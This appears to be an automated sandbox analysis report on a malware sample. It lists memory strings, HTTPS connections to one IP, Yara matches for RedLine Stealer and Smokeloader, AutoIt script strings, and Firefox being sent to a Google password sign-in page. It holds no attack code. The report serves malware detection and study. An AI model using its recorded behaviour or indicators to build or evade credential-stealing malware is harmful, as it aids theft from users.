Source: firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CF19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 79ddad050f.exe, 00000008.00000003.3071958738.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3241098493.0000000001039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3641525579.000001C23DEF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150637847.000001C23BE3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150450150.000001C23BE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150800700.000001C23BE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150956567.000001C23BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150183043.000001C23C300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001B.00000002.3649402880.000001C23EB29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DDA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: 79ddad050f.exe, 00000008.00000003.3071958738.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3093905264.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3241098493.0000000001039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3180385718.000001C2447D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3178681341.000001C244797000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaa620b506-c3ae-4332-97bb-19
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/onPrefEnabledChanged()
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3641525579.000001C23DEF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150637847.000001C23BE3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E02D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239BD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150450150.000001C23BE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150800700.000001C23BE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150956567.000001C23BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150183043.000001C23C300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3637244801.000001C23DAF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3206512868.000001C23E161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3206512868.000001C23E161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191842126.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DDA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 0000001B.00000002.3351019948.000001C238410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3264796864.0000001AF627B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346986289.000001C237CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351019948.000001C2384B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351019948.000001C2384D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: 79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3181465524.000001C244A29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3193714201.000001C244A82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/Microsurvey
Source: 79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: firefox.exe, 0000001B.00000002.3645713303.000001C23E5E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/about/legal/terms/subscription-services/
Source: 79ddad050f.exe, 00000008.00000003.3033865099.0000000005A07000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3636872771.000001C23D9D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 0000001B.00000002.3645713303.000001C23E5E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/subscription-services/
Source: 79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarResult.sys.mjsresource://gre/modules/A
Source: 79ddad050f.exe, 00000008.00000003.3033865099.0000000005A07000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3636872771.000001C23D9D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 0000001B.00000002.3346346381.000001C237B52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: 79ddad050f.exe, 00000008.00000003.3033865099.0000000005A07000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3648786422.000001C23EA51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346986289.000001C237CA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/get
Source: firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191842126.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/toolkit/about/aboutPlugins.ftlset
Source: firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CF19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FB06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.3646061223.000001C23E603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351019948.000001C238410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23EDC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191961267.000001C23EB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3649402880.000001C23EB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3190903073.000001C23EDDA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3438395331.000001C23B6DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191961267.000001C23EBEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001B.00000002.3628973173.000001C23CF21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3190903073.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191961267.000001C23EB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3646061223.000001C23E6C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3648786422.000001C23EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3284540763.000001C22C039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3286911695.000001C22C303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3286911695.000001C22C311000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3626934066.000001C23CEBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3637244801.000001C23DA29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3286911695.000001C22C36B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3649402880.000001C23EB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3626934066.000001C23CEB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3652245578.000001C23F184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3285616867.000001C22C1B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.3131490977.000001D01635A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137720928.000001B4B4117000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3284540763.000001C22C039000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdArgument
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttp://mozilla.org/#

Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:50042 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000007.00000002.3265730716.0000000000FFC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Binary is likely a compiled AutoIt script file

Source: ba17bbfb21.exe, 0000000B.00000002.3194386177.0000000000672000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c65cbd94-e
Source: ba17bbfb21.exe, 0000000B.00000002.3194386177.0000000000672000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_2e0a1f05-7
Source: ba17bbfb21.exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_3992bab5-c
